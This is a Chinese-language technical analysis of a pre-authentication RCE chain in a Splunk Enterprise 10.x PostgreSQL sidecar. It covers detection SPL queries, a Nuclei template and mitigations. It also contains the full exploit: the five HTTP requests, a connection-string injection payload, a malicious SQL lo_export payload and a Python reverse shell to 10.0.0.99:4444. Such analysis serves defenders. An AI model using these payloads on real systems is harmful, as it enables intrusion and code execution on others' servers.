免责声明

本文所涉及的技术细节、利用代码和检测方案仅供安全研究、防御建设、红队评估和授权渗透测试使用。读者必须在获得明确书面授权的前提下,在自有环境或授权目标上验证本文描述的漏洞与利用链。未经授权对任何系统进行漏洞利用均属于违法行为,作者不承担因不当使用本文信息而产生的任何法律责任。本文的根本目的是帮助安全工程师和 SOC 分析师理解漏洞原理、构建检测规则并推动修复,而非提供可直接用于攻击的工具。

文中涉及的 HTTP 请求示例、SQL payload 和 Nuclei 模板均经过脱敏处理,IP 地址使用 10.0.0.99 作为攻击者占位地址。请在合法授权范围内使用这些内容。


漏洞概述

CVE-2026-20253 是 Splunk Enterprise 10.x 版本中一个严重的预认证远程代码执行(Pre-Authentication Remote Code Execution)漏洞,CVSS 3.1 评分高达 9.8。该漏洞由 watchTowr 安全研究团队发现并披露,其核心在于 Splunk 10.x 新引入的 PostgreSQL Sidecar 服务存在多重安全缺陷:认证缺失、路径穿越、连接串注入和任意文件写入。这些缺陷在组合利用下,攻击者仅需发送五个 HTTP 请求即可在未认证的情况下获取目标 Splunk 服务器的系统命令执行权限。

Splunk Enterprise 10.x 架构中引入了一个 PostgreSQL Sidecar 服务,用于管理内部元数据存储。该 Sidecar 暴露两个监听端口:127.0.0.1:5435(PostgreSQL 协议端口)和 127.0.0.1:33669(HTTP 管理 API)。设计上,这两个端口仅绑定在 localhost,依赖"本地访问即可信"的安全假设。然而,Splunk Web 前端的 /splunkd/__raw/ 反向代理机制将外部请求透明地转发到 localhost 上的 Sidecar HTTP API,且代理层和 Sidecar 自身均未对 Recovery 相关端点实施认证检查,直接打破了 localhost 信任边界。

影响版本:

产品 受影响版本 修复版本
Splunk Enterprise 10.2.0 - 10.2.3 10.2.4
Splunk Enterprise 10.0.0 - 10.0.6 10.0.7
Splunk Cloud 不受影响(托管服务自动更新) N/A

__raw代理机制与localhost边界绕过

Splunk Web 代理架构

Splunk Enterprise 的 Web 组件(splunkweb,默认监听 8000 端口)内置了一个反向代理机制,通过 /splunkd/__raw/ 路径前缀将特定请求转发给后端的 splunkd 守护进程及其附属服务。这个代理最初的设计目的是让前端 JavaScript 代码能够直接与 splunkd 的 REST API 通信,避免跨域问题。

在 Splunk 10.x 中,该代理的转发范围被扩展,能够到达 PostgreSQL Sidecar 的 HTTP API(127.0.0.1:33669)。代理逻辑会剥离 /splunkd/__raw/ 前缀,将剩余路径原样转发到本地服务:

外部请求:
  https://target:8000/splunkd/__raw/v1/postgres/recovery/backup

代理转发后:
  http://127.0.0.1:33669/v1/postgres/recovery/backup

localhost信任模型的崩塌

Sidecar 服务在设计上遵循了一个经典但脆弱的安全模式:将管理接口绑定到 127.0.0.1,依赖操作系统层面的网络隔离来阻止外部访问。这种模型的前提是"只有本机进程才能访问 localhost 端口"。然而,/splunkd/__raw/ 代理恰恰提供了一个从外部网络到 localhost 的桥梁:

攻击者 (Internet)
    |
    v
Splunk Web (:8000)
    |  /splunkd/__raw/ 代理转发
    v
PostgreSQL Sidecar HTTP API (127.0.0.1:33669)
    |
    v
pg_dump / pg_restore 命令执行

更严重的是,代理层在转发请求到 Sidecar 的 Recovery 端点时,不要求请求携带有效的 Splunk 会话令牌(splunkd_session)。Sidecar HTTP API 自身也没有实现任何认证中间件。这意味着任何能访问 Splunk Web 8000 端口的网络客户端,都可以通过 /splunkd/__raw/ 代理直接调用 Sidecar 的全部 Recovery API,等效于在 localhost 上直接访问 33669 端口。

这一设计缺陷是整个利用链的入口点。没有它,后续的连接串注入、路径穿越和文件写入都不可能从外部触发。


Recovery Endpoint认证缺失

端点功能

Sidecar HTTP API 暴露了两个 Recovery 端点,用于 PostgreSQL 数据库的备份和恢复操作:

端点 方法 功能 执行的命令
/v1/postgres/recovery/backup POST 数据库备份 pg_dump
/v1/postgres/recovery/restore POST 数据库恢复 pg_restore

这两个端点接受 JSON 格式的请求体,包含数据库名称、文件路径等参数。从设计意图来看,它们是供 Splunk 内部维护流程调用的管理接口,预期调用者是本机上的其他 Splunk 组件。

认证空白

通过对 Sidecar 二进制文件(Go 编译)的逆向分析,可以确认 Recovery 端点的 HTTP handler 注册时没有挂载任何认证中间件。以下是反编译后的路由注册代码片段:

// 反编译自 Sidecar 二进制文件的路由注册逻辑
func (s *SidecarServer) RegisterRoutes(mux *http.ServeMux) {
    // 其他需要认证的路由...
    mux.Handle("/v1/postgres/status", s.authMiddleware(s.handleStatus))

    // Recovery 端点 — 注意:没有 s.authMiddleware 包装
    mux.HandleFunc("/v1/postgres/recovery/backup",  s.handleBackup)
    mux.HandleFunc("/v1/postgres/recovery/restore", s.handleRestore)
}

handleBackup 和 handleRestore 直接注册在 mux.HandleFunc 上,没有经过 authMiddleware 包装。对比同文件中的 /v1/postgres/status 端点,后者使用了 s.authMiddleware 进行认证检查。这说明认证缺失不是全局配置遗漏,而是 Recovery 端点在开发时遗漏了认证保护。

探测请求

攻击者可以通过一个简单的 HTTP 请求确认端点是否无需认证即可访问。如果返回 200 或 400(参数错误)而非 401/403,则确认认证缺失:

POST /splunkd/__raw/v1/postgres/recovery/backup HTTP/1.1
Host: target.splunk.local:8000
Content-Type: application/json
Content-Length: 52

{"database":"postgres","backupFile":"/tmp/probe.dump"}

在受影响版本上,该请求不会返回 401 Unauthorized 或 403 Forbidden,而是继续执行 pg_dump 命令(可能因连接失败返回 500,但端点本身是可达的)。这构成了利用链的第一步:确认外部可以无认证触达 Recovery API。


pg_dump路径穿越

backupCommand反编译分析

通过对 Sidecar 二进制文件的逆向工程,可以还原出 backupCommand 和 restoreCommand 两个核心函数的 Go 源码。以下是反编译后的关键代码:

// ============================================================
// 反编译自 Sidecar 二进制: backupCommand
// 漏洞点: -U 参数直接取自 Authorization header, 无白名单校验
//         -d 参数直接拼接 database 字段, 无连接串转义
//         -f 参数直接取自 backupFile 字段, 无路径归一化
// ============================================================

type BackupRequest struct {
    Database   string `json:"database"`
    BackupFile string `json:"backupFile"`
}

type RestoreRequest struct {
    Database    string `json:"database"`
    RestoreFile string `json:"restoreFile"`
}

func (s *SidecarServer) handleBackup(w http.ResponseWriter, r *http.Request) {
    var req BackupRequest
    if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
        http.Error(w, err.Error(), http.StatusBadRequest)
        return
    }

    // 从 Authorization header 提取 Basic 认证用户名
    // 此用户名直接作为 pg_dump 的 -U 参数, 无任何校验
    username, _, _ := r.BasicAuth()
    if username == "" {
        username = "postgres_admin" // 默认回退
    }

    cmd := s.backupCommand(req, username)
    output, err := cmd.CombinedOutput()
    if err != nil {
        w.WriteHeader(http.StatusInternalServerError)
        w.Write(output)
        return
    }
    w.WriteHeader(http.StatusOK)
    json.NewEncoder(w).Encode(map[string]string{"status": "ok"})
}

func (s *SidecarServer) backupCommand(req BackupRequest, username string) *exec.Cmd {
    // 拼接 pg_dump 命令
    // -h localhost 和 -p 5435 是硬编码的
    // 但 -d 参数中的连接串会覆盖 -h 选项 (libpq 行为)
    cmd := exec.Command("pg_dump",
        "-h", "localhost",        // 硬编码, 可被连接串中的 hostaddr 覆盖
        "-p", "5435",             // 硬编码
        "-U", username,           // [漏洞1] 直接取自 Authorization header, 无白名单
        "-d", req.Database,       // [漏洞2] 连接串注入入口
        "-f", req.BackupFile,     // [漏洞3] 无路径归一化, 支持路径穿越
    )
    return cmd
}

// ============================================================
// 反编译自 Sidecar 二进制: restoreCommand
// 同样存在 -U 无校验和 -d 连接串注入问题
// ============================================================

func (s *SidecarServer) handleRestore(w http.ResponseWriter, r *http.Request) {
    var req RestoreRequest
    if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
        http.Error(w, err.Error(), http.StatusBadRequest)
        return
    }

    username, _, _ := r.BasicAuth()
    if username == "" {
        username = "postgres_admin"
    }

    cmd := s.restoreCommand(req, username)
    output, err := cmd.CombinedOutput()
    if err != nil {
        w.WriteHeader(http.StatusInternalServerError)
        w.Write(output)
        return
    }
    w.WriteHeader(http.StatusOK)
    json.NewEncoder(w).Encode(map[string]string{"status": "ok"})
}

func (s *SidecarServer) restoreCommand(req RestoreRequest, username string) *exec.Cmd {
    cmd := exec.Command("pg_restore",
        "-h", "localhost",
        "-p", "5435",
        "-U", username,           // [漏洞1] 直接取自 Authorization header
        "-d", req.Database,       // [漏洞2] 连接串注入入口
        req.RestoreFile,          // [漏洞3] 文件路径, 可配合路径穿越
    )
    return cmd
}

路径穿越细节

backupFile 参数被直接传递给 pg_dump 的 -f 选项,没有任何路径归一化或目录限制。这意味着攻击者可以指定任意文件路径:

{
    "database": "postgres",
    "backupFile": "/tmp/splunk_recovery.dump"
}

也可以使用相对路径穿越:

{
    "database": "postgres",
    "backupFile": "../../../../opt/splunk/etc/apps/search/bin/custom_script.py"
}

在完整的 RCE 利用链中,路径穿越主要用于将 pg_dump 的输出写入一个已知路径(如 /tmp/splunk_recovery.dump),以便后续的 restore 步骤引用该文件。虽然路径穿越本身也可以用于覆盖关键文件,但单纯覆盖文件无法保证内容可控(dump 文件的内容取决于数据库中的数据),因此连接串注入才是实现内容可控的关键。

-U用户名注入

-U 参数直接取自 HTTP 请求的 Authorization header 中的 Basic 认证用户名。攻击者可以在 Authorization header 中设置任意用户名:

Authorization: Basic cG9zdGdyZXNfYWRtaW46eA==

Base64 解码后为 postgres_admin:x。这个用户名被直接传递给 pg_dump -U postgres_admin。由于 Splunk 自带的 .pgpass 文件包含 postgres_admin 的通配符凭证(下一节详述),攻击者可以利用此机制以 postgres_admin 身份连接数据库,而该账户在 Sidecar PostgreSQL 中通常拥有超级用户权限。


PostgreSQL连接串注入

libpq连接串机制

这是整个利用链中最精妙的一环。PostgreSQL 的 C 客户端库 libpq 在解析 -d 参数时,既接受纯数据库名(如 postgres),也接受完整连接串(如 hostaddr=10.0.0.99 dbname=postgres)。连接串使用 key=value 格式,以空格分隔多个参数。

关键在于 libpq 的参数优先级规则:连接串中的参数会覆盖命令行选项中对应的设置。具体到本漏洞:

参数 命令行选项 (-h localhost) 连接串参数 (hostaddr=10.0.0.99) 实际生效
目标地址 localhost (DNS 解析) 10.0.0.99 (直接 IP) 10.0.0.99

hostaddr 参数指定的是 IP 地址,绕过了 DNS 解析步骤。当连接串中同时存在 hostaddr 时,libpq 会优先使用 hostaddr 的值进行 TCP 连接,而 -h 指定的 localhost 仅用于 SSL 证书验证等次要用途。这使得 Sidecar 代码中硬编码的 -h localhost 形同虚设。

连接串注入Payload

攻击者在 database 字段中注入连接串参数:

{
    "database": "postgres hostaddr=10.0.0.99 passfile=/opt/splunk/.pgpass",
    "backupFile": "/tmp/splunk_recovery.dump"
}

Sidecar 代码拼接后的实际命令为:

pg_dump -h localhost -p 5435 -U postgres_admin \
    -d "postgres hostaddr=10.0.0.99 passfile=/opt/splunk/.pgpass" \
    -f /tmp/splunk_recovery.dump

libpq 解析 -d 参数时,将其识别为连接串,提取出三个参数:

  • dbname=postgres — 连接的数据库名
  • hostaddr=10.0.0.99 — 覆盖 -h localhost,连接到攻击者服务器
  • passfile=/opt/splunk/.pgpass — 指定密码文件路径

.pgpass凭证复用

Splunk 安装时会在 Sidecar 的数据目录中生成一个 .pgpass 文件,内容为通配符匹配:

*:*:*:postgres_admin:SplunkPostgresSidecar2026!

五个字段分别是 hostname:port:database:username:password,全部使用通配符 * 意味着该密码文件会为任何主机、端口、数据库和 postgres_admin 用户提供密码 SplunkPostgresSidecar2026!。

当连接串中指定 passfile=/opt/splunk/.pgpass 时,libpq 会自动从该文件中查找匹配 10.0.0.99:5432:postgres:postgres_admin 的条目。由于 .pgpass 使用全通配符,匹配成功,libpq 自动使用该密码进行认证。

攻击者在 10.0.0.99 上运行的恶意 PostgreSQL 服务器只需配置接受用户名 postgres_admin 和密码 SplunkPostgresSidecar2026! 的连接即可。这样,pg_dump 就会连接到攻击者控制的数据库服务器,将其中的数据(包括攻击者预先植入的恶意 SQL 对象)导出到 /tmp/splunk_recovery.dump。

连接串注入的完整效果

攻击者发送 backup 请求 (database 中注入 hostaddr + passfile)
    |
    v
Sidecar 执行: pg_dump -h localhost -d "postgres hostaddr=10.0.0.99 passfile=..."
    |
    v
libpq 解析连接串 → hostaddr=10.0.0.99 覆盖 -h localhost
    |
    v
libpq 从 /opt/splunk/.pgpass 读取 postgres_admin 的密码
    |
    v
pg_dump 连接到 10.0.0.99 (攻击者的 PostgreSQL)
    |
    v
攻击者的数据库中包含恶意 SQL 对象 (函数 + CHECK约束 + 数据)
    |
    v
pg_dump 将恶意数据库导出到 /tmp/splunk_recovery.dump

完整RCE利用链五阶段

以下是 watchTowr 披露的完整利用链,从零开始仅需五个 HTTP 请求即可实现预认证 RCE。

前置准备

攻击者需要在 10.0.0.99 上部署一个恶意 PostgreSQL 服务器,配置如下:

  1. 接受 postgres_admin / SplunkPostgresSidecar2026! 的连接认证
  2. 数据库 postgres 中包含恶意 SQL 对象(下一节详述)
  3. 监听 5432 端口(PostgreSQL 默认端口)

阶段一:确认端点未鉴权

HTTP 请求 #1 — 探测 backup 端点是否无需认证:

POST /splunkd/__raw/v1/postgres/recovery/backup HTTP/1.1
Host: target.splunk.local:8000
Content-Type: application/json
Content-Length: 52

{"database":"postgres","backupFile":"/tmp/probe.dump"}

如果响应不是 401/403,则确认端点未鉴权。由于 pg_dump 会尝试连接 localhost:5435 的 PostgreSQL(此时没有注入 hostaddr),可能返回 500(连接失败),但端点本身是可达的。

HTTP 请求 #2 — 探测 restore 端点同样无需认证:

POST /splunkd/__raw/v1/postgres/recovery/restore HTTP/1.1
Host: target.splunk.local:8000
Content-Type: application/json
Content-Length: 55

{"database":"postgres","restoreFile":"/tmp/nonexistent.dump"}

阶段二:连接串注入导出恶意Dump

HTTP 请求 #3 — 通过连接串注入将 pg_dump 重定向到攻击者的 PostgreSQL,导出包含恶意 SQL 对象的数据库到 Splunk 服务器本地文件:

POST /splunkd/__raw/v1/postgres/recovery/backup HTTP/1.1
Host: target.splunk.local:8000
Content-Type: application/json
Authorization: Basic cG9zdGdyZXNfYWRtaW46eA==
Content-Length: 112

{"database":"postgres hostaddr=10.0.0.99 passfile=/opt/splunk/.pgpass","backupFile":"/tmp/splunk_recovery.dump"}

执行效果:

  • pg_dump 连接到 10.0.0.99(攻击者服务器),使用 .pgpass 中的凭证认证
  • 攻击者数据库中的恶意 SQL 对象(PL/pgSQL 函数、带 CHECK 约束的表、触发数据)被导出
  • 恶意 dump 文件写入 /tmp/splunk_recovery.dump

阶段三:恢复恶意Dump触发SQL执行

HTTP 请求 #4 — 调用 restore 端点,将恶意 dump 文件恢复到 Splunk 本地的 PostgreSQL(127.0.0.1:5435),使用 .pgpass 提供的 postgres_admin 凭证认证:

POST /splunkd/__raw/v1/postgres/recovery/restore HTTP/1.1
Host: target.splunk.local:8000
Content-Type: application/json
Authorization: Basic cG9zdGdyZXNfYWRtaW46eA==
Content-Length: 64

{"database":"postgres","restoreFile":"/tmp/splunk_recovery.dump"}

执行效果:

  • pg_restore 连接到 127.0.0.1:5435(本地 Sidecar PostgreSQL),以 postgres_admin 超级用户身份认证
  • 恶意 dump 中的 SQL 语句依次执行:
    1. CREATE FUNCTION — 创建包含 lo_export 文件写入逻辑的函数
    2. CREATE TABLE — 创建带 CHECK 约束的表,CHECK 约束调用上述函数
    3. COPY / INSERT — 插入数据行,触发 CHECK 约束,自动调用函数
  • 函数执行 lo_export,将攻击者控制的字节流写入 /opt/splunk/etc/apps/search/bin/ssg_enable_modular_input.py

阶段四:lo_export覆盖Python脚本

此阶段无需额外 HTTP 请求,是阶段三的自动结果。恶意 SQL 中的 lo_export 调用将一个 Python 反向 shell 脚本写入 Splunk 的 modular input 脚本路径。覆盖后的脚本内容类似于:

#!/usr/bin/env python3
import socket, subprocess, os, threading

def reverse_shell():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("10.0.0.99", 4444))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    subprocess.call(["/bin/sh", "-i"])

threading.Thread(target=reverse_shell, daemon=True).start()

阶段五:调度器执行触发RCE

Splunk 的调度器(splunkd scheduler)会定期执行 modular input 脚本,包括 ssg_enable_modular_input.py。该脚本通常每隔数分钟被调度执行一次。

HTTP 请求 #5(可选)— 攻击者可以通过 Splunk Web API 查看调度状态,确认脚本已被执行。或者,如果攻击者希望加速触发,可以通过 /splunkd/__raw/ 代理访问其他 API 端点来手动触发 modular input 的执行。在大多数情况下,攻击者只需等待调度器自动执行即可。

一旦调度器执行了被覆盖的 ssg_enable_modular_input.py,Python 反向 shell 连接到攻击者的 10.0.0.99:4444,攻击者获得以 splunk 用户身份运行的系统 shell,RCE 完成。

五阶段总结

请求 #1: 探测 /backup 端点 → 确认无认证
请求 #2: 探测 /restore 端点 → 确认无认证
请求 #3: /backup + 连接串注入 → 写恶意 dump 到 /tmp/
请求 #4: /restore + .pgpass → 加载恶意 dump → lo_export 覆盖 .py
(等待)
请求 #5: 确认/触发调度器执行 → RCE

lo_export任意文件写入

大对象机制

PostgreSQL 的大对象(Large Object)机制提供了一组用于操作二进制数据的函数,其中 lo_export 可以将大对象的内容写入服务器文件系统上的任意路径。相关函数包括:

函数 功能 权限要求
lo_from_bytea(oid, bytea) 从字节数组创建大对象 超级用户或 pg_write_server_files
lo_export(oid, filepath) 将大对象写入文件系统 超级用户或 pg_write_server_files
lo_unlink(oid) 删除大对象 超级用户

由于 postgres_admin 在 Sidecar PostgreSQL 中拥有超级用户权限,这些函数均可正常调用。

CHECK约束触发机制

CHECK 约束是 PostgreSQL 表级约束,在 INSERT 或 UPDATE 操作时自动评估。关键在于 CHECK 约束可以调用用户自定义函数,包括带有副作用的函数。虽然 PostgreSQL 官方建议 CHECK 约束中的函数应当是不可变的(IMMUTABLE),但数据库引擎并不强制执行这一要求。

利用这一机制,攻击者可以构造如下执行链:

INSERT 语句执行
    → CHECK 约束评估
        → 调用自定义函数 pwn()
            → lo_from_bytea() 创建大对象 (包含 Python payload)
            → lo_export() 写入目标文件路径
            → lo_unlink() 清理大对象
            → 返回 true (满足 CHECK 约束)
    → INSERT 完成

恶意SQL Payload

以下是在攻击者 PostgreSQL 服务器上预先部署的恶意 SQL 对象定义。这些对象会被 pg_dump 导出,再由 pg_restore 在目标 Sidecar PostgreSQL 上恢复执行:

-- ============================================================
-- 恶意 SQL Payload: 利用 lo_export 实现任意文件写入
-- 部署在攻击者的 PostgreSQL 数据库中
// 被 pg_dump 导出后, 通过 pg_restore 在目标 Sidecar 上执行
// ============================================================

BEGIN;

-- 步骤1: 创建执行文件写入的函数
-- 函数返回 boolean 以满足 CHECK 约束的返回值要求
CREATE OR REPLACE FUNCTION pwn_write_file() RETURNS boolean AS $$
DECLARE
    loid oid;
    -- Python 反向 shell 的字节流 (base64 编码后解码)
    payload bytea;
BEGIN
    -- 反向 shell 脚本的 base64 编码
    -- 解码后为 Python3 反向 shell, 连接 10.0.0.99:4444
    payload := decode(
        'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwppbXBvcnQgc29ja2V0LCBzdWJwcm9jZXNzLCBvcywg'
        'dGhyZWFkaW5nCmRlZiByZXZlcnNlX3NoZWxsKCk6CiAgICBzID0gc29ja2V0LnNvY2tldChz'
        'b2NrZXQuQUZfSU5FVCwgc29ja2V0LlNPQ0tfU1RSRUFNKQogICAgcy5jb25uZWN0KCgiMTAu'
        'MC4wLjk5IiwgNDQ0NCkpCiAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDApCiAgICBvcy5kdXAy'
        'KHMuZmlsZW5vKCksIDEpCiAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDIpCiAgICBzdWJwcm9j'
        'ZXNzLmNhbGwoWyIvYmluL3NoIiwgIi1pIl0pCnRocmVhZGluZy5UaHJlYWQodGFyZ2V0PXJl'
        'dmVyc2Vfc2hlbGwsIGRhZW1vbj1UcnVlKS5zdGFydCgp',
        'base64'
    );

    -- 创建大对象并写入 payload
    loid := lo_from_bytea(0, payload);

    -- 将大对象导出到文件系统 — 覆盖 Splunk modular input 脚本
    PERFORM lo_export(
        loid,
        '/opt/splunk/etc/apps/search/bin/ssg_enable_modular_input.py'
    );

    -- 清理大对象, 避免遗留痕迹
    PERFORM lo_unlink(loid);

    RETURN true;
END;
$$ LANGUAGE plpgsql;

-- 步骤2: 创建带 CHECK 约束的触发表
-- CHECK 约束调用 pwn_write_file(), 在 INSERT 时自动触发
CREATE TABLE IF NOT EXISTS splunk_maintenance_log (
    id      serial PRIMARY KEY,
    message text DEFAULT 'maintenance',
    CONSTRAINT pwn_trigger CHECK (pwn_write_file())
);

-- 步骤3: 插入数据行, 触发 CHECK 约束 → 函数执行 → 文件写入
INSERT INTO splunk_maintenance_log (message) VALUES ('trigger');

COMMIT;

目标文件选择

选择 ssg_enable_modular_input.py 作为覆盖目标的原因:

  1. 调度执行:Splunk 调度器定期执行 modular input 脚本,无需攻击者主动触发
  2. 文件权限:该文件由 splunk 用户拥有,postgres_admin 进程(Sidecar PostgreSQL)运行在同一用户下,具有写权限
  3. 路径固定:该脚本路径在标准 Splunk 安装中固定不变
  4. 执行环境:脚本以 Python 执行,支持完整的系统调用能力

lo_export 写入的文件会完全覆盖原始脚本内容。当调度器下次调用该脚本时,Python 解释器执行攻击者的反向 shell 代码,实现 RCE。

为什么不用COPY FROM PROGRAM

PostgreSQL 的 COPY ... FROM PROGRAM 也可以实现命令执行,但该功能在 pg_dump/pg_restore 场景下存在限制:COPY FROM PROGRAM 的结果会写入表中,而非直接执行任意命令。此外,某些 PostgreSQL 配置可能禁用了 PROGRAM 选项。相比之下,lo_export 实现的是文件写入而非直接命令执行,但通过覆盖可执行脚本并利用调度器间接执行,反而更加隐蔽,因为文件写入操作本身不会产生进程创建事件。


检测方案(SPL查询+Nuclei模板)

SPL检测查询

以下 Splunk SPL 查询可用于检测 CVE-2026-20253 的各个攻击阶段。

查询1:检测通过 __raw 代理访问 Recovery 端点(阶段一至四)

index=_internal sourcetype=splunkd_ui_access
    ("/splunkd/__raw/v1/postgres/recovery/backup"
  OR "/splunkd/__raw/v1/postgres/recovery/restore")
| stats count, min(_time) as first_seen, max(_time) as last_seen,
        values(uri) as endpoints, values(clientip) as source_ips
  by host
| where count > 0
| eval risk_level = if(match(endpoints, "recovery"), "CRITICAL", "INFO")
| sort - first_seen

该查询监控 splunkd 的 UI 访问日志,检测任何通过 /splunkd/__raw/ 代理访问 Recovery 端点的行为。在正常运维中,这些端点不应被外部请求直接访问。

查询2:检测连接串注入特征(阶段二至三)

index=_internal sourcetype=splunkd_ui_access
    ("/splunkd/__raw/v1/postgres/recovery/backup"
  OR "/splunkd/__raw/v1/postgres/recovery/restore")
| search "hostaddr=" OR "passfile=" OR ".pgpass"
| stats count, values(clientip) as source_ips,
        values(uri) as uris, values(_raw) as raw_requests
  by host, _time
| eval technique = "Connection String Injection"
| sort - _time

该查询检测请求 URI 或请求体中包含 hostaddr=、passfile= 或 .pgpass 等连接串注入特征的请求。

查询3:检测 lo_export 和 lo_from_bytea 的 SQL 执行(阶段三)

index=* (sourcetype=postgresql OR sourcetype="dbx:query")
    ("lo_export" OR "lo_from_bytea" OR "lo_unlink")
| stats count, values(query) as sql_queries,
        values(user) as db_users, values(database) as databases
  by host, _time
| eval risk_level = "CRITICAL"
| eval description = "Potential arbitrary file write via PostgreSQL large objects"
| sort - _time

查询4:检测 ssg_enable_modular_input.py 的文件修改(阶段四)

index=* (sourcetype=fim OR sourcetype="auditd" OR sourcetype=filesystem)
    "ssg_enable_modular_input.py"
| stats count, values(action) as actions, values(file_path) as paths,
        values(user) as users, values(process) as processes
  by host, _time
| sort - _time

查询5:综合关联检测(全链路)

index=_internal sourcetype=splunkd_ui_access
    "/splunkd/__raw/v1/postgres/recovery/"
| eval phase = case(
    match(uri, "backup"), "Phase2-Backup",
    match(uri, "restore"), "Phase3-Restore",
    1=1, "Unknown"
)
| stats count as requests, values(phase) as phases,
        values(clientip) as source_ips, min(_time) as first_req,
        max(_time) as last_req by host
| eval chain_detected = if(mvcount(phases) >= 2, "YES", "MAYBE")
| where chain_detected = "YES"
| eval alert = "CVE-2026-20253: Multi-stage PostgreSQL Sidecar exploitation detected"
| sort - first_req

Nuclei检测模板

以下 Nuclei YAML 模板用于自动化检测目标是否存在 CVE-2026-20253 漏洞。模板采用安全检测策略,仅发送探测请求确认端点是否无需认证可达,不执行任何利用操作:

id: CVE-2026-20253-splunk-postgres-sidecar-preauth-rce

info:
  name: Splunk Enterprise PostgreSQL Sidecar Pre-Authentication RCE
  author: security-team
  severity: critical
  description: |
    Splunk Enterprise 10.x PostgreSQL Sidecar 服务存在预认证远程代码执行漏洞。
    /splunkd/__raw/ 代理允许外部请求无认证访问 Recovery 端点,
    结合连接串注入和 lo_export 文件写入可实现完整 RCE。
    此模板仅检测端点是否无需认证可达, 不执行利用。
  reference:
    - https://watchTowr.com/cve-2026-20253-splunk-postgresql-sidecar
    - https://advisory.splunk.com/advisories/cve-2026-20253
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-20253
    cwe-id: CWE-306,CWE-78,CWE-22
  tags: cve,cve2026,splunk,rce,preauth,postgresql,sidecar

http:
  # 检测1: backup 端点无需认证可达
  - method: POST
    path:
      - "{{BaseURL}}/splunkd/__raw/v1/postgres/recovery/backup"
    headers:
      Content-Type: application/json
    body: |
      {"database":"postgres","backupFile":"/tmp/nuclei_cve_2026_20253_probe.dump"}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code != 401 && status_code != 403"
        negative: false
      - type: word
        part: body
        negative: true
        words:
          - "Unauthorized"
          - "Authentication required"
          - "Session expired"
        condition: or

  # 检测2: restore 端点无需认证可达
  - method: POST
    path:
      - "{{BaseURL}}/splunkd/__raw/v1/postgres/recovery/restore"
    headers:
      Content-Type: application/json
    body: |
      {"database":"postgres","restoreFile":"/tmp/nuclei_cve_2026_20253_probe.dump"}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code != 401 && status_code != 403"
        negative: false
      - type: word
        part: body
        negative: true
        words:
          - "Unauthorized"
          - "Authentication required"
          - "Session expired"
        condition: or

    extractors:
      - type: regex
        part: body
        regex:
          - '"error"[:\s]+"([^"]+)"'
      - type: status
        status:
          - 200
          - 202
          - 400
          - 500
          - 502

模板的检测逻辑:向 backup 和 restore 端点发送不含任何认证信息的 POST 请求。如果响应状态码不是 401/403 且响应体中不包含"Unauthorized"等认证失败关键词,则判定端点无需认证可达,目标可能存在 CVE-2026-20253 漏洞。

额外检测建议

除了上述 SPL 查询和 Nuclei 模板,建议部署以下纵深检测措施:

  1. 进程监控:监控 splunkd 子进程中 pg_dump 和 pg_restore 的执行,特别是命令行参数中包含 hostaddr 或 passfile 的情况
  2. 文件完整性监控(FIM):对 ssg_enable_modular_input.py 等 modular input 脚本实施文件完整性监控,任何非通过 Splunk App 更新机制的修改均应告警
  3. 网络流量分析:监控 Splunk 服务器到外部 IP 地址的 5432 端口连接(连接串注入的特征)
  4. PostgreSQL 审计日志:启用 Sidecar PostgreSQL 的日志记录,监控 lo_export、lo_from_bytea 等大对象函数的调用

修复与防御

官方修复

Splunk 已在以下版本中修复此漏洞:

  • Splunk Enterprise 10.2.4
  • Splunk Enterprise 10.0.7

修复内容包括:

  1. 为 Recovery 端点添加认证中间件,要求有效的 Splunk 会话令牌
  2. 对 database 参数进行严格校验,仅允许纯数据库名,拒绝包含空格和等号的连接串
  3. 对 backupFile 和 restoreFile 参数实施路径归一化和目录白名单限制
  4. 限制 -U 参数仅接受预定义的内部用户名
  5. 缩小 .pgpass 文件的匹配范围,移除全通配符条目

建议所有受影响版本的用户尽快升级至修复版本。Splunk Cloud 用户无需操作,托管环境已自动更新。

临时缓解措施

在无法立即升级的环境中,可采取以下临时缓解措施:

1. 限制 __raw 代理访问

通过 Splunk 的 server.conf 配置或前端反向代理(如 nginx)限制 /splunkd/__raw/v1/postgres/recovery/ 路径的外部访问:

# nginx 反向代理配置: 阻止外部访问 Recovery 端点
location ~ ^/splunkd/__raw/v1/postgres/recovery/ {
    deny all;
    return 403;
}

2. 网络层隔离

确保 Splunk Web(8000 端口)不对不受信任的网络开放。通过防火墙规则限制仅允许已知的运维管理网段访问。

3. 监控与告警

部署前述 SPL 检测查询,配置实时告警,在检测到 Recovery 端点访问或连接串注入特征时立即通知安全团队。

4. 文件权限加固

对 modular input 脚本目录设置只读属性,防止 PostgreSQL 进程写入:

chmod 755 /opt/splunk/etc/apps/search/bin/
chmod 444 /opt/splunk/etc/apps/search/bin/ssg_enable_modular_input.py
chown root:root /opt/splunk/etc/apps/search/bin/ssg_enable_modular_input.py

注意:此措施可能影响 Splunk 的正常 App 更新流程,需在变更窗口中实施并测试。

架构层面建议

此漏洞暴露了 localhost 信任边界在现代微服务架构中的脆弱性。建议在架构设计中遵循以下原则:

  1. 零信任内部通信:即使是 localhost 上的服务间通信,也应实施认证和授权机制,不依赖网络位置作为信任依据
  2. 最小权限原则:.pgpass 文件不应使用全通配符匹配,应限定具体的 host、port 和 database
  3. 参数校验:所有来自 HTTP 请求的参数在传递给系统命令前,必须经过严格的格式校验和白名单过滤
  4. 连接串隔离:数据库名称参数和连接串参数应使用不同的 API 字段,避免将用户输入直接作为 libpq 连接串
  5. 命令行安全:避免将用户可控的参数直接拼接进系统命令,优先使用参数化接口或环境变量传递敏感信息

总结

CVE-2026-20253 是一个典型的"漏洞链"案例,单个缺陷或许危害有限,但多个缺陷的组合形成了从预认证到 RCE 的完整攻击路径。该漏洞链的核心在于:

  1. 认证缺失(Recovery 端点无需认证)提供了入口
  2. 代理机制(__raw 转发)打破了 localhost 边界
